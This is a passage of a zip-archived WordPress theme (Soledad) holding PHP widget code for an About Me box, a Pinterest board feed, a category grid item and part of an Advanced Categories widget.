PK     2w\a:6  :6    widgets/about_widget.phpnu [        <?php
/**
 * About me widget
 * Display your information on footer or sidebar
 *
 * @package Wordpress
 * @since   1.0
 */

add_action( 'widgets_init', 'penci_about_load_widget' );

function penci_about_load_widget() {
	register_widget( 'penci_about_widget' );
}

if ( ! class_exists( 'penci_about_widget' ) ) {
	class penci_about_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_about_widget',
				'description' => esc_html__( 'A widget that displays an About widget', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_about_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_about_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'About Me', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_about_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'About Me', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title         = isset( $instance['title'] ) ? $instance['title'] : '';
			$title         = apply_filters( 'widget_title', $title );
			$align         = isset( $instance['align'] ) ? $instance['align'] : '';
			$image         = isset( $instance['image'] ) ? $instance['image'] : '';
			$circle        = isset( $instance['circle'] ) ? $instance['circle'] : '';
			$lazyload      = isset( $instance['lazyload'] ) ? $instance['lazyload'] : '';
			$imageurl      = isset( $instance['imageurl'] ) ? $instance['imageurl'] : '';
			$target        = isset( $instance['target'] ) ? $instance['target'] : '';
			$imagemaxwidth = isset( $instance['imagemaxwidth'] ) ? $instance['imagemaxwidth'] : '';
			$heading       = isset( $instance['heading'] ) ? $instance['heading'] : '';
			$description   = isset( $instance['description'] ) ? $instance['description'] : '';
			$fheading      = isset( $instance['fheading'] ) ? absint( $instance['fheading'] ) : '';
			$fdesc         = isset( $instance['fdesc'] ) ? absint( $instance['fdesc'] ) : '';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo( $before_title . $title . $after_title );
			}

			$inline_style      = '';
			$open_image        = '';
			$close_image       = '';
			$target_html       = '';
			$inline_style_html = '';

			if ( $circle ):
				$inline_style .= 'border-radius: 50%; -webkit-border-radius: 50%;';
			endif;
			if ( $imagemaxwidth ):
				$inline_style .= 'max-width: ' . $imagemaxwidth . 'px !important;';
			endif;
			if ( $inline_style ) {
				$inline_style_html = ' style="' . $inline_style . '"';
			}
			if ( $imageurl ):
				if ( $target ): $target_html = ' target="_blank"'; endif;
				$open_image  = '<a href="' . do_shortcode( $imageurl ) . '"' . $target_html . '>';
				$close_image = '</a>';
			endif;
			$rand        = rand( 1000, 10000 );
			$image_width = $image_height = '';
			?>
            <div id="penci-aboutmewg-<?php echo $rand; ?>"
                 class="about-widget<?php if ( $align ): echo ' ' . $align; endif; ?>">
				<?php if ( $image ) :
					$image_width = penci_get_image_data_basedurl( $image, 'w' );
					$image_height = penci_get_image_data_basedurl( $image, 'h' );
					?>
					<?php echo $open_image; ?>
					<?php if ( ! $lazyload ) { ?>
                    <img class="penci-widget-about-image nopin penci-lazy" nopin="nopin"
                         width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                         src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                         data-src="<?php echo esc_url( $image ); ?>"
                         alt="<?php echo esc_attr( $title ); ?>"<?php echo $inline_style_html; ?>/>
				<?php } else { ?>
                    <img class="penci-widget-about-image nopin" nopin="nopin" width="<?php echo $image_width; ?>"
                         height="<?php echo $image_height; ?>" src="<?php echo esc_url( $image ); ?>"
                         alt="<?php echo esc_attr( $title ); ?>"<?php echo $inline_style_html; ?>/>
				<?php } ?>
					<?php echo $close_image; ?>
				<?php endif; ?>

				<?php if ( $heading ) : ?>
                    <h2 class="about-me-heading"><?php echo do_shortcode( $heading ); ?></h2>
				<?php endif; ?>

				<?php if ( $description ) : ?>
                    <div class="about-me-desc"><p><?php echo do_shortcode( $description ); ?></p></div>
				<?php endif; ?>

            </div>
			<?php
			$attrstyle = '';
			if ( $fheading ) {
				$attrstyle .= '#penci-aboutmewg-' . $rand . ' .about-me-heading{ font-size: ' . $fheading . 'px; }';
			}
			if ( $fdesc ) {
				$attrstyle .= '#penci-aboutmewg-' . $rand . ' .about-me-desc, #penci-aboutmewg-' . $rand . ' .about-me-desc p{ font-size: ' . $fdesc . 'px; }';
			}

			if ( $attrstyle ) {
				echo '<style type="text/css">' . $attrstyle . '</style>';
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'         => 'About Me',
				'align'         => '',
				'fheading'      => '',
				'fdesc'         => '',
				'image'         => '',
				'circle'        => '',
				'imagemaxwidth' => '',
				'lazyload'      => '',
				'imageurl'      => '',
				'target'        => '',
				'heading'       => '',
				'description'   => ''
			);

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <!-- Widget Title: Text Input -->

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Align -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>">Align This Widget:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'align' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='pc_aligncenter' <?php if ( '' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Center
                    </option>
                    <option value='pc_alignleft' <?php if ( 'pc_alignleft' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Left
                    </option>
                    <option value='pc_alignright' <?php if ( 'pc_alignright' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Right
                    </option>
                </select>
            </p>

            <!-- image url -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image' ) ); ?>"><?php esc_html_e( 'About Image URL:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'image' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'image' ) ); ?>"
                       value="<?php echo esc_url( $instance['image'] ); ?>"/><br/>
                <small><?php _e( 'Insert your image URL. To get good for load, let use image about 400px width.<br>You can check <a href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/" target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image you upload.', 'soledad' ); ?></small>
            </p>

            <!-- Circle image -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'circle' ) ); ?>"><?php esc_html_e( 'Make About Image Circle:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'circle' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'circle' ) ); ?>" <?php checked( (bool) $instance['circle'], true ); ?> /><br/>
                <small><?php esc_html_e( 'To use this feature, please use square image for your image above to get best display.', 'soledad' ); ?></small>
            </p>

            <!-- Lazyload image -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'lazyload' ) ); ?>"><?php esc_html_e( 'Disable Lazyload for About Me Image:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'lazyload' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'lazyload' ) ); ?>" <?php checked( (bool) $instance['lazyload'], true ); ?> />
            </p>

            <!-- Link for image -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imageurl' ) ); ?>"><?php esc_html_e( 'Add Link for About Image:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'imageurl' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imageurl' ) ); ?>"
                       value="<?php echo sanitize_text_field( $instance['imageurl'] ); ?>"/>
                <small>If you want to clickable on the about me image link to other page, put the link here. Include
                    <strong style="font-weight: bold;">http://</strong> or <strong
                            style="font-weight: bold;">https://</strong> on the link</small>
            </p>

            <!-- Open new tab image -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'target' ) ); ?>"><?php esc_html_e( 'Click About Image Open in New Tab?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'target' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'target' ) ); ?>" <?php checked( (bool) $instance['target'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imagemaxwidth' ) ); ?>"><?php esc_html_e( 'Custom Max Width for About Me Image:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'imagemaxwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imagemaxwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imagemaxwidth'] ); ?>" size="3"/> px
            </p>

            <!-- heading text -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'heading' ) ); ?>"><?php esc_html_e( 'Heading Text:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'heading' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'heading' ) ); ?>"
                       value="<?php echo sanitize_text_field( $instance['heading'] ); ?>"/>
            </p>

            <!-- description -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'description' ) ); ?>"><?php esc_html_e( 'About me text: ( you can use HTML here )', 'soledad' ); ?></label>
                <textarea class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'description' ) ); ?>"
                          name="<?php echo esc_attr( $this->get_field_name( 'description' ) ); ?>"
                          rows="6"><?php echo esc_textarea( $instance['description'] ); ?></textarea>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fheading' ) ); ?>"><?php esc_html_e( 'Heading Text Font Size ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'fheading' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fheading' ) ); ?>"
                       value="<?php echo esc_attr( $instance['fheading'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fdesc' ) ); ?>"><?php esc_html_e( 'About Me Text Font Size', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'fdesc' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fdesc' ) ); ?>"
                       value="<?php echo esc_attr( $instance['fdesc'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\5Q6  6    widgets/pinterest_widget.phpnu [        <?php
/**
 * Main class for render pinterest pinboard
 * Render HTML in your sidebar on front-end
 *
 * @since 1.0
 */

if ( ! class_exists( 'Penci_Pinterest' ) ):

	class Penci_Pinterest {

		// Pinterest url
		var $pinterest_feed = 'https://pinterest.com/%s/feed.rss';

		var $start_time;

		function __construct() {
			$this->start_time = microtime( true );
		}

		// Render the pinboard and output
		function render_html( $username, $numbers, $cache_time = 1200, $follow = true ) {
			$user_display_html = $username;
			$pins = $this->get_board_name_pins( $username, $cache_time );
			$user_display = explode( "/", trim( $username ) );
			if( is_array( $user_display ) ) {
				$user_display_html = $user_display[0];
			}
			
			if( ! empty( $pins ) ) {
				echo '<div class="penci-images-pin-widget">';
				$i = 1;
				foreach ( $pins as $pin ) {
					if ( $numbers < $i ) {
						continue;
					}
					
					$image = isset( $pin['images']['orig']['url'] ) ? $pin['images']['orig']['url'] : '';
					if ( ! $image ) {
						continue;
					}

					$pin_id = isset( $pin['id'] ) ? $pin['id'] : '';
					$url    = 'https://www.pinterest.com/pin/' . $pin_id;
					
					$lazyhtml = '<span class="penci-image-holder rectangle-fix-size penci-lazy" data-bgset="' . esc_url( $image ) . '"></span>';
					if( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
						$lazyhtml = '<span class="penci-image-holder rectangle-fix-size" style="background-image: url(' . esc_url( $image ) . ');"></span>';
					}

					echo '<a href="' . esc_url( $url ) . '" aria-label="Pinterest URL" rel="noopener" target="_blank">'. $lazyhtml .'</a>';
					
					$i++;
				}

				echo '</div>';
			}else {
				$user_display = explode( "/", trim( $username ) );
				if( is_array( $user_display ) ) {
					$user_display_html = $user_display[0];
					if( isset($user_display[1]) && $user_display[1] ){
					    $user_board =  $user_display[1];
					}
				}

				 if( isset( $user_display_html ) && $user_display_html && isset( $user_board ) && $user_board ){
    			    $feedurl = 'http://pinterest.com/'.$user_display_html.'/'.$user_board.'.rss';
    			}
    			else{
    		        $feedurl = 'http://pinterest.com/'.$user_display_html.'/feed.rss';
    			}

				$cache_key = 'penci_pinterest_feed_' . strtolower( $username ) . esc_attr( $numbers );
				$item_foreach_cache = get_transient( $cache_key );
				
				$remove_item_foreach_cache = isset( $_GET['penci_cache_feed'] ) ? true : false;

				$item_foreach_pre = array();
				if ( ! $item_foreach_cache || $remove_item_foreach_cache ) {
					$rss = fetch_feed($feedurl);
					if ( is_wp_error( $rss ) ){
						if( current_user_can('manage_options') ){
							echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Pinterest data return errors. Please check again your settings.</p>';
							return null;
						} else {
							return null;
						}
					}
					
                	$item_foreach = ! empty( $rss->get_items() ) ? $rss->get_items() : array();
					
					if( ! empty( $item_foreach ) ){
						$i = 1;
						foreach ( $item_foreach as $item ) {
							if ( $numbers < $i ) {
								continue;
							}
							$imagedata = $item->get_content();
							
							preg_match( '/src="([^\"]*)"/i', $imagedata, $matchessrc ) ;
							preg_match( '/href="([^\"]*)"/i', $imagedata, $matcheshref ) ;
							
							$item_foreach_pre[] = array(
								'image_url' => isset( $matchessrc[1] ) ? $matchessrc[1] : '',
								'url' => isset( $matcheshref[1] ) ? $matcheshref[1] : ''
							);

							$i++;
						}
					}
					if( ! empty( $item_foreach_pre ) ){  
						set_transient( $cache_key,$item_foreach_pre,  $cache_time );
					}
				}else {

					$item_foreach_pre = $item_foreach_cache;
				}

                if( ! empty( $item_foreach_pre ) ){    
				
    				echo '<div class="penci-images-pin-widget">';
    				$i = 1;
    				foreach ($item_foreach_pre as $item ) {
    					if ( $numbers < $i ) {
    						continue;
    					}
    				
    					$image_url = isset( $item['image_url'] ) ? $item['image_url'] : '';
    					$url =isset( $item['url'] ) ? $item['url'] : '';
						
						$lazyhtml = '<span class="penci-image-holder rectangle-fix-size penci-lazy" data-bgset="' . esc_url( $image_url ) . '"></span>';
						if( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
							$lazyhtml = '<span class="penci-image-holder rectangle-fix-size" style="background-image: url(' . esc_url( $image_url ) . ');"></span>';
						}

						echo '<a href="' . esc_url( $url ) . '" aria-label="Pinterest URL" rel="noopener" target="_blank">'. $lazyhtml .'</a>';
    					$i++;
    				}
					echo '</div>';
				}else{
					if( current_user_can('manage_options') ){
						echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Render failed - no data is received, please check again the username</p>';
					} else {
						echo '';
					}
					return null;
				}			
			} 
			?>
			
			<?php if ( $follow ): ?>
				<div class="pin_link">
					<a href="http://pinterest.com/<?php echo sanitize_text_field( $user_display_html ); ?>/" aria-label="Follow on Pinterest" rel="noopener" target="_blank">@<?php echo sanitize_text_field( $user_display_html ); ?></a>
				</div>
			<?php endif; ?>
		<?php
		}

		/**
		 * Retrieve RSS feed for username, and parse the data needed.
		 * Returns null if error, otherwise a has of pins.
		 * Callback it on render_html functions
		 *
		 * @since 1.0
		 */
		function get_pins( $username, $numbers, $cache_time = 1200 ) {

			if( !is_numeric( $cache_time ) && $cache_time < 1 ): $cache_time = 1200; endif;
			// Set caching.
			add_filter( 'wp_feed_cache_transient_lifetime', create_function( '$a', 'return ' . $cache_time . ';' ) );

			// Get the RSS feed.
			$url = sprintf( $this->pinterest_feed, $username );
			$rss = fetch_feed( $url );
			if ( is_wp_error( $rss ) ) {
				return null;
			}

			$maxitems  = $rss->get_item_quantity( $numbers );
			$rss_items = $rss->get_items( 0, $maxitems );

			$pins = array();
			if ( is_null( $rss_items ) ) {
				$pins = null;
			}
			else {

				// Build patterns to search/replace in the image urls
				$search  = array( '_b.jpg' );
				$replace = array( '_t.jpg' );

				// Make url protocol relative
				array_push( $search, 'https://' );
				array_push( $replace, '//' );

				$pins = array();
				foreach ( $rss_items as $item ) {
					$title       = $item->get_title();
					$description = $item->get_description();
					$url         = $item->get_permalink();
					if ( preg_match_all( '/<img src="([^"]*)".*>/i', $description, $matches ) ) {
						$image = str_replace( $search, $replace, $matches[1][0] );
					}
					array_push( $pins, array(
						'title' => $title,
						'image' => $image,
						'url'   => $url
					) );
				}
			}

			return $pins;
		}
		
		public function get_board_name_pins( $username, $cache_time = 1200 ) {

			$output = array();

			$cache_key = 'penci_pinterest_' . strtolower( $username );

			$pinterest_cache = get_transient( $cache_key );

			if ( ! $pinterest_cache ) {

				$params = array(
					'timeout'    => 60,
					'sslverify'  => false,
					'headers'    => array( 'Accept-language' => 'en' ),
					'user-agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0'
				);

				$response = wp_remote_get( 'https://www.pinterest.com/' . $username, $params );

				if ( ! is_wp_error( $response ) ) {
					$request_result = wp_remote_retrieve_body( $response );

					preg_match_all( '/jsInit1\'>(.*)<\/script>/', $request_result, $matches );

					if ( ! empty( $matches[1] ) && count( $matches[1] ) ) {
						$pinterest_json = json_decode( $matches[1][0], true );

						if ( ! isset( $pinterest_json['resourceDataCache'][1]['data']['board_feed'] ) ) {
							$output['error'] = esc_html__( 'The pinterest data is not set, please check the ID', 'soledad' );
						} elseif ( isset( $pinterest_json["resourceDataCache"][0]['data']['type'] ) && $pinterest_json["resourceDataCache"][0]['data']['type'] !== 'board' ) {
							$output['error'] = esc_html__( 'Invalid pinterest data for  <strong>' . $username . '</strong> please check the <em>user/board_id</em>', 'soledad' );
						} else {
							$output = (array) $pinterest_json['resourceDataCache'][1]['data']['board_feed'];
						}
					}
					
					set_transient( $cache_key, $output,  $cache_time );
				}
			} else {
				$output = $pinterest_cache;
			}
			
			

			return $output;
		}
		
	}

endif; /* End check if class exists */


/**
 * Create a pinterest widget on sidebar
 *
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_register_pinterest_widget' );

function penci_register_pinterest_widget() {
	register_widget( 'Penci_Pinterest_Widget' );
}

if( ! class_exists( 'Penci_Pinterest_Widget' ) ) {
	class Penci_Pinterest_Widget extends WP_Widget {

		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_pinterest_widget',
				'description' => esc_html__( 'A widget that display pinterest widget.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_pinterest_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_pinterest_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Pinterest Widget', 'soledad' ), $widget_ops, $control_ops );
			}
			else {
				parent::__construct( 'penci_pinterest_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Pinterest Widget', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		function widget( $args, $instance ) {
			extract( $args );

			$title    = isset( $instance['title'] ) ? $instance['title'] : '';
			$title    = apply_filters( 'widget_title', $title );
			$username = isset( $instance['username'] ) ? $instance['username'] : '';
			$numbers  = isset( $instance['numbers'] ) ? $instance['numbers'] : '';
			$follow   = isset( $instance['follow'] ) ? $instance['follow'] : '';
			$cache    = isset( $instance['cache'] ) ? $instance['cache'] : '';

			echo ent2ncr( $before_widget );
			if ( $title ) {
				echo( $before_title . $title . $after_title );
			}
			echo '<div class="penci-pinterest-widget-container">';

			// Render the pinboard from the widget settings.
			$pinboard = new Penci_Pinterest();
			$pinboard->render_html( $username, $numbers, $cache, $follow );

			echo '</div>';

			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array( 'title'    => 'On Pinterest',
			                   'username' => 'username',
			                   'numbers'  => '9',
			                   'cache'    => '1200',
			                   'follow'   => true
			);

			return $defaults;
		}

		function form( $instance ) {
			// load current values or set to default.
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text"
                       value="<?php echo $instance_title; ?>"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>">Enter the <strong
                            style="color: #ff0000;">username</strong> or <strong style="color: #ff0000;">username/board_name</strong>
                    for load images:</label>
				<p class="description" style="padding: 0; margin-bottom: 13px;">Example if you want to load a board has url <strong style="color: #ff0000;"><a href="https://www.pinterest.com/thefirstmess/animals-cuteness" target="_blank">https://www.pinterest.com/thefirstmess/animals-cuteness</a></strong> You need to fill <strong style="color: #ff0000;">thefirstmess/animals-cuteness</strong></p>
				<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>" type="text" value="<?php echo sanitize_text_field( $instance['username'] ); ?>" />
			</p>
			<p>
				<label for="<?php echo esc_attr( $this->get_field_id( 'numbers' ) ); ?>"><?php esc_html_e( 'Numbers image to show:', 'soledad' ); ?></label>
				<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'numbers' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'numbers' ) ); ?>" type="number" value="<?php echo absint( $instance['numbers'] ); ?>" />
			</p>
			<p>
				<label for="<?php echo esc_attr( $this->get_field_id( 'cache' ) ); ?>"><?php esc_html_e( 'Cache life time ( unit is seconds ):', 'soledad' ); ?></label>
				<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'cache' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'cache' ) ); ?>" type="number" value="<?php echo absint( $instance['cache'] ); ?>" />
			</p>
			<p>
				<label for="<?php echo esc_attr( $this->get_field_id( 'follow' ) ); ?>"><?php esc_html_e( 'Display more link with username text?:', 'soledad' ); ?></label>
				<input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'follow' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'follow' ) ); ?>" <?php checked( (bool) $instance['follow'], true ); ?> />
			</p>
		<?php
		}
	}
}
PK     2w\hg      widgets/category.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <?php do_action('penci_bl_follow_term',['follow_taxonomy'=> $settings['term_name'],'follow_term_id' => $setting->term_id]); ?>
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                        <div <?php echo penci_layout_bg( $image_url, ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
							echo ' style="padding-bottom: ' . $image_ratio . '%"';
						} ?>>
	                        <?php echo penci_layout_img( $image_url, $title, ! $disable_lazy ); ?>
                        </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex<?php if ( $title_link ) {
					echo ' pcbg-overlap-hover';
				} ?>">
					<?php if ( $title_link ) { ?>
                        <a class="pcbg-cbgoverlap"
                           href="<?php echo esc_url( $title_link ); ?>"
                           title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
					<?php } ?>
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
										<?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"><?php }
										if ( ! $title_length ) {
											echo $title;
										} else {
											echo wp_trim_words( wp_strip_all_tags( $title ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'count', $post_meta ) && ! $hide_cat_small_flag ) : ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc">
                                    <span class="cat pcbg-sub-title">
                                        <?php
                                        $prefix = $post_count == 1 ? penci_get_setting('penci_trans_post') : penci_get_setting('penci_trans_posts');
                                        echo $post_count . ' ' . $prefix; ?>
                                    </span>
                                </div>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'desc', $post_meta ) && $desc && ! $hide_excerpt_small_flag ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo wp_trim_words( wp_strip_all_tags( $desc ), $excerpt_length, '...' ); ?></div>
                            </div>
						<?php } ?>

                        <?php if ( $show_readmore && ! $hide_rm_small_flag ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a href="<?php echo esc_url( $title_link ); ?>"
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_view_all' ); ?></span>
                                </a>
                            </div>
                        <?php } ?>

                        
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>PK     2w\N,N  N    widgets/advanced_categories.phpnu [        <?php

add_action( 'widgets_init', 'penci_advanced_categories_load_widget' );

function penci_advanced_categories_load_widget() {
	register_widget( 'penci_advanced_categories_widget' );
}

if ( ! class_exists( 'penci_advanced_categories_widget' ) ) {
	class penci_advanced_categories_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */

		private $classname = [];

		function __construct() {
			/* Widget settings. */
			$this->classname[] = 'penci_advanced_categories_widget';
			$widget_ops        = array(
				'classname'   => implode( ',', $this->classname ),
				'description' => esc_html__( 'A widget that displays a list of category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_advanced_categories_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_advanced_categories_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Advanced Categories', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_advanced_categories_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Advanced Categories', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title        = isset( $instance['title'] ) ? $instance['title'] : '';
			$title        = apply_filters( 'widget_title', $title );
			$style        = isset( $instance['style'] ) ? $instance['style'] : 'style-1';
			$rstyle       = isset( $instance['style'] ) ? $instance['style'] : 'style-1';
			$tax          = isset( $instance['tax'] ) ? $instance['tax'] : 'category';
			$hide_empty   = isset( $instance['hide_empty'] ) ? $instance['hide_empty'] : '';
			$order        = isset( $instance['order'] ) ? $instance['order'] : '';
			$orderby      = isset( $instance['orderby'] ) ? $instance['orderby'] : '';
			$hierarchical = isset( $instance['hierarchical'] ) && $instance['hierarchical'];
			$count        = isset( $instance['count'] ) && $instance['count'];
